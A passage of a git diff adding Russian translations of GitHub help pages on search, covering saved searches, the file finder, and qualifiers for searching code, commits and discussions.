ими](#creating-and-managing-saved-searches). + + ![Панель поиска с предложениями и сохраненными поисковыми запросами](/assets/images/help/search/code-search-beta-search-bar.png) + + Если щелкнуть какое-либо из конкретных предложений, вы перейдете непосредственно на страницу этого предложения (например, на страницу репозитория или проекта). Если щелкнуть недавний или сохраненный поиск, в зависимости от типа поиска поисковый запрос появится в строке поиска или вы перейдете на страницу результатов поиска для условия поиска. + +1. После ввода поискового запроса вы увидите список завершений и предложений, которые соответствуют вашему запросу. Вы можете щелкнуть предложение, чтобы перейти к определенному расположению. При вводе дополнительных квалификаторов вы увидите более конкретные предложения, например файлы кода, к которые можно перейти напрямую. + + ![Панель поиска с запросом и предложениями кода](/assets/images/help/search/code-search-beta-search-bar-code-suggestions.png) + +1. После ввода запроса можно также нажать клавишу ВВОД, чтобы перейти к полному представлению результатов поиска, где можно просмотреть каждое совпадение и визуальный интерфейс для применения фильтров. Дополнительные сведения см. в разделе [Использование представления результатов поиска](#using-the-search-results-view). + +## Создание сохраненных поисковых запросов и управление ими + +1. В верхней области навигации {% data variables.product.prodname_dotcom_the_website %} щелкните строку поиска и начните вводить поисковый запрос (или любую букву). +1. В строке поиска должен появиться раздел "Сохраненные поисковые запросы". Щелкните {% octicon "plus-circle" aria-label="The plus-circle icon" %} **Создать сохраненный поиск**. + + ![Кнопка "Создать сохраненный поиск" в строке поиска](/assets/images/help/search/code-search-beta-create-saved-search.png) + +1. Во всплывающем окне укажите имя запроса и запрос, который требуется сохранить. Щелкните **Создать сохраненный поиск**. + + ![Окно "Создание сохраненного поиска"](/assets/images/help/search/code-search-beta-create-saved-search-window.png) + +1. Если снова щелкнуть строку поиска, вы увидите сохраненный поиск в разделе "Сохраненные поисковые запросы" в строке поиска. Если щелкнуть сохраненную запись поиска, запрос будет добавлен в строку поиска и соответствующим образом отфильтрованы предложения. + + ![Использование сохраненного поиска в строке поиска](/assets/images/help/search/code-search-beta-saved-search-in-search-bar.png) + + - Чтобы изменить сохраненный поиск, в разделе "Сохраненные поисковые запросы" щелкните {% octicon "pencil" aria-label="The pencil icon" %} справа от сохраненного поиска. + - Чтобы удалить сохраненный поиск, щелкните {% octicon "trash" aria-label="The trash icon" %} справа от сохраненного поиска. + + ![Кнопки для изменения или удаления сохраненного поиска](/assets/images/help/search/code-search-beta-edit-or-delete-saved-search.png) + +## Использование представления результатов поиска + +Представление результатов поиска уже существует для классического поиска на GitHub, и функции для большинства типов поиска, за исключением кода, одинаковы. После включения новой бета-версии поиска по коду страница результатов поиска имеет переработанный пользовательский интерфейс и включает фильтры, которые поддерживаются в новой поисковой системе кода, такие как фильтры пути и символов. + +Чтобы создать поисковый запрос, а также просмотреть и отфильтровать результаты с помощью визуального интерфейса, можно использовать {% data variables.search.search_page_url %} или {% data variables.search.advanced_url %}. Если нажать клавишу ВВОД после ввода поискового запроса в строке поиска, вы также перейдете в представление результатов поиска. + +В представлении результатов поиска можно переходить между различными типами результатов поиска, включая код, проблемы, запрос на вытягивание, репозитории и многое другое. Вы также можете просматривать и использовать фильтры. + +![Представление результатов поиска](/assets/images/help/search/code-search-beta-results-view.png) diff --git a/translations/ru-RU/content/search-github/index.md b/translations/ru-RU/content/search-github/index.md new file mode 100644 index 000000000000..fc6641307609 --- /dev/null +++ b/translations/ru-RU/content/search-github/index.md @@ -0,0 +1,49 @@ +--- +title: Поиск информации в GitHub +intro: 'Узнайте, как использовать функции поиска, доступные на сайте GitHub, для поиска различных типов информации, таких как проекты, люди и код.' +introLinks: + overview: /search-github/getting-started-with-searching-on-github/about-searching-on-github +featuredLinks: + guides: + - /search-github/searching-on-github/searching-issues-and-pull-requests + - /search-github/searching-on-github/searching-code + - /search-github/searching-on-github/searching-for-repositories + - /search-github/searching-on-github/searching-commits + popular: + - /search-github/github-code-search/about-github-code-search + - /search-github/getting-started-with-searching-on-github/understanding-the-search-syntax + - /search-github/searching-on-github/searching-users + - /search-github/searching-on-github/finding-files-on-github + - /search-github/getting-started-with-searching-on-github/sorting-search-results + guideCards: + - /search-github/searching-on-github/searching-in-forks + - /search-github/searching-on-github/searching-topics + - /search-github/searching-on-github/searching-for-packages +changelog: + label: search +layout: product-landing +redirect_from: + - /categories/78/articles + - /categories/search + - /categories/searching-for-information-on-github + - /github/searching-for-information-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +children: + - /getting-started-with-searching-on-github + - /searching-on-github + - /github-code-search +shortTitle: Search on GitHub +ms.openlocfilehash: 3914612c6bfc1250b38d11a31123f0dca7ff42c6 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160183' +--- + diff --git a/translations/ru-RU/content/search-github/searching-on-github/finding-files-on-github.md b/translations/ru-RU/content/search-github/searching-on-github/finding-files-on-github.md new file mode 100644 index 000000000000..0c6a09cb3733 --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/finding-files-on-github.md @@ -0,0 +1,74 @@ +--- +title: Поиск файлов на GitHub +intro: 'Файл в репозитории также можно найти с помощью средства поиска файлов. Чтобы найти файл в нескольких репозиториях в {% data variables.product.product_name %}, используйте [`filename` квалификатор поиска кода](/search-github/searching-on-github/searching-code#search-by-filename).' +redirect_from: + - /articles/finding-files-on-github + - /github/searching-for-information-on-github/finding-files-on-github + - /github/searching-for-information-on-github/searching-on-github/finding-files-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +ms.openlocfilehash: 7cecdfd58ecf56cac251bd77af3a4e1a7fcfd607 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880199' +--- +{% tip %} + +**Советы** + +- По умолчанию из результатов в средстве поиска файлов исключаются такие каталоги, как `build`, `log`, `tmp` и `vendor`. Чтобы выполнить поиск файлов в этих каталогах, используйте [квалификатор поиска кода `filename`](/search-github/searching-on-github/searching-code#search-by-filename).{% ifversion file-finder-exclusion-controls %} Кроме того, [с помощью файла `.gitattributes`](#customizing-excluded-files) можно указать, какие каталоги исключаются по умолчанию.{% endif %} +- Чтобы открыть средство поиска файлов, можно также нажать на клавиатуре клавишу `t`. Дополнительные сведения см. в разделе [Сочетания клавиш](/articles/keyboard-shortcuts). + +{% endtip %} + +## Использование средства поиска файлов + +{% data reusables.repositories.navigate-to-repo %} +2. Над списком файлов нажмите кнопку **Перейти к файлу**. +![Кнопка поиска файла](/assets/images/help/search/find-file-button.png) +3. В поле поиска введите имя файла, который нужно найти. +![Поле поиска файлов](/assets/images/help/search/find-file-search-field.png) +4. В списке результатов щелкните искомый файл. + +{% ifversion file-finder-exclusion-controls %} + +## Настройка исключаемых файлов + +По умолчанию из результатов в средстве поиска файлов исключаются файлы в следующих каталогах, если они существуют в корне репозитория: + + - `.git` + - `.hg` + - `.sass-cache` + - `.svn` + - `build` + - `dot_git` + - `log` + - `tmp` + - `vendor` + +Эти исключения по умолчанию можно переопределить с помощью файла `.gitattributes`. + +Для этого создайте или обновите файл под названием `.gitattributes` в корне репозитория, задав атрибуту [`linguist-generated`](https://github.com/github/linguist/blob/master/docs/overrides.md) значение `false` для каждого каталога, который необходимо включить в результаты поиска файлов. + +Например, следующий файл `.gitattributes` указывает, что файлы в каталоге `build/` будут доступны средству поиска файлов: + +``` +build/** linguist-generated=false +``` + +Обратите внимание, что для такого переопределения требуется рекурсивная стандартная маска (`**`). Дополнительные сведения см. в разделе "[Формат шаблонов](https://git-scm.com/docs/gitignore#_pattern_format)" в документации по Git. Более сложные переопределения подкаталогов в каталогах, исключаемых по умолчанию, не поддерживаются. + +{% endif %} + +## Дополнительные материалы + +- "[Сведения о поиске в GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github)"{% ifversion file-finder-exclusion-controls %} +- "[Настройка отображения измененных файлов в GitHub](/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github)" +- [`.gitattributes`](https://git-scm.com/docs/gitattributes) в документации по Git{% endif %} diff --git a/translations/ru-RU/content/search-github/searching-on-github/index.md b/translations/ru-RU/content/search-github/searching-on-github/index.md new file mode 100644 index 000000000000..777575758940 --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/index.md @@ -0,0 +1,34 @@ +--- +title: Поиск в GitHub +intro: 'Вы можете использовать квалификаторы, чтобы сузить поиск и сосредоточиться на определенных категориях информации.' +redirect_from: + - /articles/searching-on-github + - /github/searching-for-information-on-github/searching-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +children: + - /finding-files-on-github + - /searching-for-repositories + - /searching-topics + - /searching-code + - /searching-commits + - /searching-issues-and-pull-requests + - /searching-discussions + - /searching-github-marketplace + - /searching-users + - /searching-for-packages + - /searching-wikis + - /searching-in-forks +ms.openlocfilehash: b9108fb893855a42e7c3ca525f82a19515c6f5ef +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145118915' +--- + diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-code.md b/translations/ru-RU/content/search-github/searching-on-github/searching-code.md new file mode 100644 index 000000000000..c641475e11ec --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-code.md @@ -0,0 +1,124 @@ +--- +title: Поиск кода +intro: 'Можно выполнять поиск кода в {% data variables.product.product_name %} и использовать квалификаторы поиска кода в любом сочетании, чтобы уточнить результаты.' +redirect_from: + - /articles/searching-code + - /github/searching-for-information-on-github/searching-files-in-a-repository-for-exact-matches + - /github/searching-for-information-on-github/searching-code-for-exact-matches + - /github/searching-for-information-on-github/searching-code + - /github/searching-for-information-on-github/searching-on-github/searching-code +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +ms.openlocfilehash: 125c17f1050cdb6d1b1d5a3d58d3e513eddce40f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160223' +--- +{% ifversion github-code-search %} {% note %} + + **Примечание.** {% data reusables.search.classic-search-code-search-note %} + + {% endnote %} {% endif %} + +{% data reusables.search.you-can-search-globally %} Дополнительные сведения см. в разделе [Сведения о поиске на GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github). + +Искать код можно только с использованием квалификаторов поиска кода. Квалификаторы поиска, предназначенные для репозиториев, пользователей или фиксаций, не будут работать при поиске кода. + +{% data reusables.search.syntax_tips %} + +## Особенности поиска кода + +Из-за особой сложности, которую представляет поиск кода, действует ряд ограничений. + +{% ifversion fpt or ghes or ghec %} +- {% data reusables.search.required_login %}{% endif %} +- Код в [вилках](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) можно искать, только если вилка имеет больше звездочек, чем родительский репозиторий. Вилки с меньшим количеством звездочек, чем у родительского репозитория, **не** индексируются для поиска кода. Чтобы включить в результаты поиска вилки с большим количеством звездочек, чем у родительского репозитория, необходимо добавить в запрос квалификатор `fork:true` или `fork:only`. Дополнительные сведения см. в разделе [Поиск в вилках](/search-github/searching-on-github/searching-in-forks). +- Для поиска кода индексируется только _ветвь по умолчанию_.{% ifversion fpt or ghec %} +- Поиск возможен только в файлах размером менее 384 КБ.{% else %}* Поиск возможен только в файлах размером менее 5 МБ. +- Поиск осуществляется только в первых 500 КБ каждого файла.{% endif %} +- До 4000 частных{% ifversion ghec or ghes or ghae %} и внутренних репозиториев{% endif %} доступны для поиска. Эти 4000 репозиториев будут последними обновленными из первых 10 000 частных{% ifversion ghec or ghes or ghae %} и внутренних репозиториев{% endif %}, к которым у вас есть доступ. +- Поиск возможен только в репозиториях с менее чем 500 000 файлов.{% ifversion fpt or ghec %} +- Поиск возможен только в репозиториях, в которых осуществлялись действия или которые возвращались в результатах поиска за последний год.{% endif %} +- За исключением поиска по имени файла ([`filename`](#search-by-filename)), при поиске исходного кода обязательно необходимо использовать по крайней мере одно условие поиска. Например, запрос [`language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=language%3Ajavascript&type=Code&ref=searchresults) недопустим, а [`amazing language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=amazing+language%3Ajavascript&type=Code&ref=searchresults) допустим. +- В результатах поиска могут отображать максимум два фрагмента из одного файла, но в файле может быть больше результатов. +- В поисковом запросе нельзя использовать следующие подстановочные знаки: . , : ; / \ ` ' " = * ! ? # $ & + ^ | ~ < > ( ) { } [ ] @. При поиске они просто игнорируются. + +## Поиск по содержимому файла или пути к файлу + +С помощью квалификатора `in` можно ограничить поиск содержимым файла исходного кода, путем к файлу или и тем и другим. Если этот квалификатор не указан, поиск выполняется только в содержимом файла. + +| Квалификатор | Пример +| ------------- | ------------- +| `in:file` | Запросу [**octocat in:file**](https://github.com/search?q=octocat+in%3Afile&type=Code) соответствует код со словом "octocat" в содержимом файла. +| `in:path` | Запросу [**octocat in:path**](https://github.com/search?q=octocat+in%3Apath&type=Code) соответствует код со словом "octocat" в пути к файлу. +| | Запросу [**octocat in:file,path**](https://github.com/search?q=octocat+in%3Afile%2Cpath&type=Code) соответствует код со словом "octocat" в содержимом файла или пути к файлу. + +## Поиск в репозиториях пользователя или организации + +Для поиска кода во всех репозиториях, принадлежащих определенному пользователю или организации, можно использовать квалификатор `user` или `org`. Для поиска кода в определенном репозитории можно использовать квалификатор `repo`. + +| Квалификатор | Пример +| ------------- | ------------- +| user:USERNAME | Запросу [**user:defunkt extension:rb**](https://github.com/search?q=user%3Agithub+extension%3Arb&type=Code) соответствует код из @defunkt с расширением .rb. +| org:ORGNAME |Запросу [**org:github extension:js**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+extension%3Ajs&type=Code) соответствует код на GitHub с расширением .js. +| repo:USERNAME/REPOSITORY | Запросу [**repo:mozilla/shumway extension:as**](https://github.com/search?q=repo%3Amozilla%2Fshumway+extension%3Aas&type=Code) соответствует код из проекта shumway @mozilla с расширением .as. + +## Поиск по расположению файла + +С помощью квалификатора `path` можно искать исходный код, который находится в определенном расположении в репозитории. Для поиска файлов, расположенных на корневом уровне репозитория, используйте `path:/`. Укажите имя каталога или путь к нему для поиска файлов, находящихся в этом каталоге или в любом из его подкаталогов. + +| Квалификатор | Пример +| ------------- | ------------- +| path:/ | Запросу [**octocat filename:readme path:/**](https://github.com/search?utf8=%E2%9C%93&q=octocat+filename%3Areadme+path%3A%2F&type=Code) соответствуют файлы _сведений_ со словом "octocat", находящиеся на корневом уровне репозитория. +| path:DIRECTORY | Запросу [**form path:cgi-bin language:perl**](https://github.com/search?q=form+path%3Acgi-bin+language%3Aperl&type=Code) соответствуют файлы Perl со словом "form" в каталоге cgi-bin или в любом из его подкаталогов. +| path:PATH/TO/DIRECTORY | Запросу [ **`console path:app/public language:javascript`**](https://github.com/search?q=console+path%3A%22app%2Fpublic%22+language%3Ajavascript&type=Code) соответствуют файлы JavaScript со словом "console" в каталоге app/public или в любом из его подкаталогов (даже если они находятся в app/public/js/form-validators). + +## Поиск по языку + +Искать код можно по языку, на котором он написан. Квалификатор `language` может указывать название или псевдоним языка. Полный список поддерживаемых языков с именами и псевдонимами см. в [репозитории github/linguist](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). + +| Квалификатор | Пример +| ------------- | ------------- +| language:LANGUAGE | Запросу [**element language:xml size:100**](https://github.com/search?q=element+language%3Axml+size%3A100&type=Code) соответствует код со словом "element", помеченный как XML и содержащий ровно 100 байт. +| | Запросу [**display language:scss**](https://github.com/search?q=display+language%3Ascss&type=Code) соответствует код со словом "display", помеченный как SCSS. +| | Запросу [**org:mozilla language:markdown**](https://github.com/search?utf8=%E2%9C%93&q=org%3Amozilla+language%3Amarkdown&type=Code) соответствует код из всех репозиториев @mozilla, помеченный как Markdown. + +## Поиск по размеру файла + +С помощью квалификатора `size` можно искать исходный код по размеру файла, в котором он содержится. Для фильтрации результатов по размеру файла, в котором найден код, в байтах с квалификатором `size` используются [квалификаторы "больше", "меньше" и квалификатор диапазона](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). + +| Квалификатор | Пример +| ------------- | ------------- +| size:n | Запросу [**function size:>10000 language:python**](https://github.com/search?q=function+size%3A%3E10000+language%3Apython&type=Code) соответствует код со словом "function", написанный на Python, в файлах размером более 10 КБ. + +## Поиск по имени файла + +Квалификатору `filename` соответствуют файлы кода с определенным именем. Файл в репозитории также можно найти с помощью средства поиска файлов. Дополнительные сведения см. в разделе [Поиск файлов на GitHub](/search-github/searching-on-github/finding-files-on-github). + +| Квалификатор | Пример +| ------------- | ------------- +| filename:FILENAME | Запросу [**filename:linguist**](https://github.com/search?utf8=%E2%9C%93&q=filename%3Alinguist&type=Code) соответствуют файлы с именем "linguist". +| | Запросу [**filename:.vimrc commands**](https://github.com/search?q=filename%3A.vimrc+commands&type=Code) соответствуют файлы *VIMRC* со словом "commands". +| | Запросу [**filename:test_helper path:test language:ruby**](https://github.com/search?q=minitest+filename%3Atest_helper+path%3Atest+language%3Aruby&type=Code) соответствуют файлы Ruby с именем *test_helper* в каталоге *test*. + +## Поиск по расширению имени файла + +Квалификатору `extension` соответствуют файлы кода с определенным расширением имени. + +| Квалификатор | Пример +| ------------- | ------------- +| extension:EXTENSION | Запросу [**form path:cgi-bin extension:pm**](https://github.com/search?q=form+path%3Acgi-bin+extension%3Apm&type=Code) соответствует код со словом "form" в каталоге cgi-bin с расширением имени файла .pm. +| | Запросу [**icon size:>200000 extension:css**](https://github.com/search?utf8=%E2%9C%93&q=icon+size%3A%3E200000+extension%3Acss&type=Code) соответствуют файлы размером более 200 КБ, которые имеют расширение CSS и содержат слово "icon". + +## Дополнительные материалы + +- [Сортировка результатов поиска](/search-github/getting-started-with-searching-on-github/sorting-search-results/) +- [Поиск в вилках](/search-github/searching-on-github/searching-in-forks){% ifversion fpt or ghec %} +- [Навигация по коду на {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/navigating-code-on-github){% endif %} diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-commits.md b/translations/ru-RU/content/search-github/searching-on-github/searching-commits.md new file mode 100644 index 000000000000..cfbdf4ee0699 --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-commits.md @@ -0,0 +1,121 @@ +--- +title: Поиск фиксаций +intro: 'Можно выполнять поиск фиксаций в {% data variables.product.product_name %} и использовать квалификаторы поиска фиксаций в любом сочетании, чтобы уточнить результаты.' +redirect_from: + - /articles/searching-commits + - /github/searching-for-information-on-github/searching-commits + - /github/searching-for-information-on-github/searching-on-github/searching-commits +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +ms.openlocfilehash: 2dc35c96805e175bef1ed1ec1898d48e50de6042 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145118904' +--- +Вы можете искать фиксации глобально по всей системе {% data variables.product.product_name %} или искать фиксации в определенном репозитории или организации. Дополнительные сведения см. в разделе [Сведения о поиске в {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github). + +Поиск фиксаций выполняется только в [ветви по умолчанию](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) в репозитории. + +{% data reusables.search.syntax_tips %} + +## Поиск в сообщениях о фиксации + +Вы можете найти фиксации, содержащие определенные слова в сообщении. Например, [**исправление опечатки**](https://github.com/search?q=fix+typo&type=Commits) соответствует фиксациям со словами "исправление" и "опечатки". + +## Поиск по автору или пользователю, выполнившему фиксацию + +Вы можете найти фиксации определенного пользователя с помощью квалификаторов `author` или `committer`. + +| Квалификатор | Пример +| ------------- | ------------- +| author:USERNAME | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) соответствует фиксациям, созданным автором @defunkt. +| committer:USERNAME | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) соответствует фиксациям, созданным пользователем @defunkt. + +Квалификаторы `author-name` и `committer-name` соответствуют фиксациям по имени автора или пользователя, выполнившего фиксацию. + +| Квалификатор | Пример +| ------------- | ------------- +| author-name:NAME | [**Author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) соответствует фиксации wanstrath в имени автора. +| committer-name:NAME | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) соответствует фиксации wanstrath в имени пользователя, выполнившего фиксацию. + +Квалификаторы `author-email` и `committer-email` соответствуют фиксациям по полному адресу электронной почты автора или пользователя, выполнившего фиксацию. + +| Квалификатор | Пример +| ------------- | ------------- +| author-email:EMAIL | [ **author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) соответствует фиксациям, созданным автором chris@github.com. +| committer-email:EMAIL | [ **committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) соответствует фиксациям, созданным пользователем, выполнившим фиксацию chris@github.com. + +## Поиск по дате создания или фиксации + +Используйте квалификаторы `author-date` и `committer-date` для сопоставления фиксаций, созданных автором или выполненных пользователем в указанном диапазоне дат. + +{% data reusables.search.date_gt_lt %} + +| Квалификатор | Пример +| ------------- | ------------- +| author-date:YYYY-MM-DD | [**author-date:<2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) соответствует фиксациям, созданным до 01.01.2016. +| committer-date:YYYY-MM-DD | [**committer-date:>2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) соответствует фиксациям, выполненным после 01.01.2016. + +## Фильтрация фиксаций слияния + +Квалификатор `merge` фильтрует фиксации слияния. + +| Квалификатор | Пример +| ------------- | ------------- +| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) соответствует фиксациям слияния. +| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) соответствует фиксациям без слияния. + +## Поиск по хэшу + +Квалификатор `hash` сопоставляет фиксации с указанным хэшем SHA-1. + +| Квалификатор | Пример +| ------------- | ------------- +| hash:HASH | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) соответствует фиксациям с хэшем `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. + +## Поиск по родительскому элементу + +Квалификатор `parent` соответствует фиксациям, родительский элемент которых имеет указанный хэш SHA-1. + +| Квалификатор | Пример +| ------------- | ------------- +| parent:HASH | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) соответствует дочерним элементам фиксаций с хэшем `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. + +## Поиск по дереву + +Квалификатор `tree` соответствует фиксациям с указанным хэшем дерева Git SHA-1. + +| Квалификатор | Пример +| ------------- | ------------- +| tree:HASH | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) соответствует фиксациям, ссылающимся на хэш дерева `99ca967`. + +## Поиск в репозиториях пользователя или организации + +Для поиска фиксаций во всех репозиториях, принадлежащих определенному пользователю или организации, можно использовать квалификатор `user` или `org`. Для поиска фиксаций в определенном репозитории используйте квалификатор `repo`. + +| Квалификатор | Пример +| ------------- | ------------- +| user:USERNAME | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) соответствует сообщениям о фиксации со словом gibberish в репозиториях, принадлежащих @defunkt. +| org:ORGNAME | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) соответствует сообщениям о фиксации со словом test в репозиториях, принадлежащих @github. +| repo:USERNAME/REPO | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) сопоставляет сообщения о фиксации со словом language в репозитории gibberish, принадлежащему @defunkt. + +## Фильтрация по видимости репозитория + +Квалификатор `is` сопоставляет фиксации из репозиториев с указанной видимостью. Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). + +| Квалификатор | Пример +| ------------- | ------------- | +{%- ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) соответствует фиксациям с общедоступными репозиториями. +{%- endif %} {%- ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) соответствует фиксациям с внутренними репозиториями. +{%- endif %} | `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) соответствует фиксациям с частными репозиториями. + +## Дополнительные материалы + +- [Сортировка результатов поиска](/search-github/getting-started-with-searching-on-github/sorting-search-results/) diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-discussions.md b/translations/ru-RU/content/search-github/searching-on-github/searching-discussions.md new file mode 100644 index 000000000000..d851d383d447 --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-discussions.md @@ -0,0 +1,100 @@ +--- +title: Поиск обсуждений +intro: 'Вы можете искать обсуждения в {% data variables.product.product_name %} и фильтровать результаты с помощью квалификаторов поиска.' +versions: + feature: discussions +topics: + - GitHub search +redirect_from: + - /github/searching-for-information-on-github/searching-discussions + - /github/searching-for-information-on-github/searching-on-github/searching-discussions +ms.openlocfilehash: 4a1224d05cd78a0b701e7bc2a9e93a1c5a837bcd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147410454' +--- +## Сведения о поиске обсуждений + +Вы можете искать обсуждения глобально на всем сайте {% data variables.product.product_name %}, в определенной организации или в определенном репозитории. Дополнительные сведения см. в разделе [Поиск в {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github). + +{% data reusables.search.syntax_tips %} + +## Поиск по названию, тексту или комментариям + +С помощью квалификатора `in` можно ограничить поиск обсуждений заголовком, текстом или комментариями. Вы также можете сочетать квалификаторы для поиска по комбинации заголовка, текста или комментариев. Если опустить квалификатор `in`, {% data variables.product.product_name %} выполнит поиск по заголовку, тексту и комментариям. + +| Квалификатор | Пример | +| :- | :- | +| `in:title` | Запросу [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) соответствуют обсуждения со словом "welcome" в заголовке. | +| `in:body` | Запросу [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) соответствуют обсуждения со словом "onboard" в заголовке или тексте. | +| `in:comments` | Запросу [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) соответствуют обсуждения со словом "thanks" в комментариях к обсуждению. | + +## Поиск в репозиториях пользователя или организации + +Для поиска обсуждений во всех репозиториях, принадлежащих определенному пользователю или организации, можно использовать квалификатор `user` или `org`. Для поиска обсуждений в определенном репозитории можно использовать квалификатор `repo`. + +| Квалификатор | Пример | +| :- | :- | +| user:USERNAME | Запросу [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) соответствуют обсуждения со словом "feedback" в репозиториях, принадлежащих @octocat. | +| org:ORGNAME | Запросу [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) соответствуют обсуждения в репозиториях, принадлежащих организации GitHub. | +| repo:USERNAME/REPOSITORY | Запросу [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) соответствуют обсуждения из проекта среды выполнения Node.js @nodejs, созданные до января 2021 года. | + +## Фильтрация по видимости репозитория + +Вы можете выполнять фильтрацию по видимости репозитория, содержащего обсуждения, с помощью квалификатора `is`. Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). + +| Квалификатор | Пример | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | Запросу [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) соответствуют обсуждения в общедоступных репозиториях.{% endif %}{% ifversion ghec %} | `is:internal` | Запросу [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) соответствуют обсуждения во внутренних репозиториях.{% endif %} | `is:private` | Запросу [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) соответствуют обсуждения со словом "tiramisu" в доступных вам частных репозиториях. + +## Поиск по автору + +Квалификатор `author` позволяет находить обсуждения, созданные определенным пользователем. + +| Квалификатор | Пример | +| :- | :- | +| author:USERNAME | Запросу [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) соответствуют обсуждения со словом "cool", созданные @octocat. | +| | Запросу [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) соответствуют обсуждения со словом "bootstrap" в тексте, созданные @octocat. | + +## Поиск по комментатору + +Квалификатор `commenter` позволяет находить обсуждения, содержащие комментарий определенного пользователя. + +| Квалификатор | Пример | +| :- | :- | +| commenter:USERNAME | Запросу [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) соответствуют обсуждения со словом "github" и 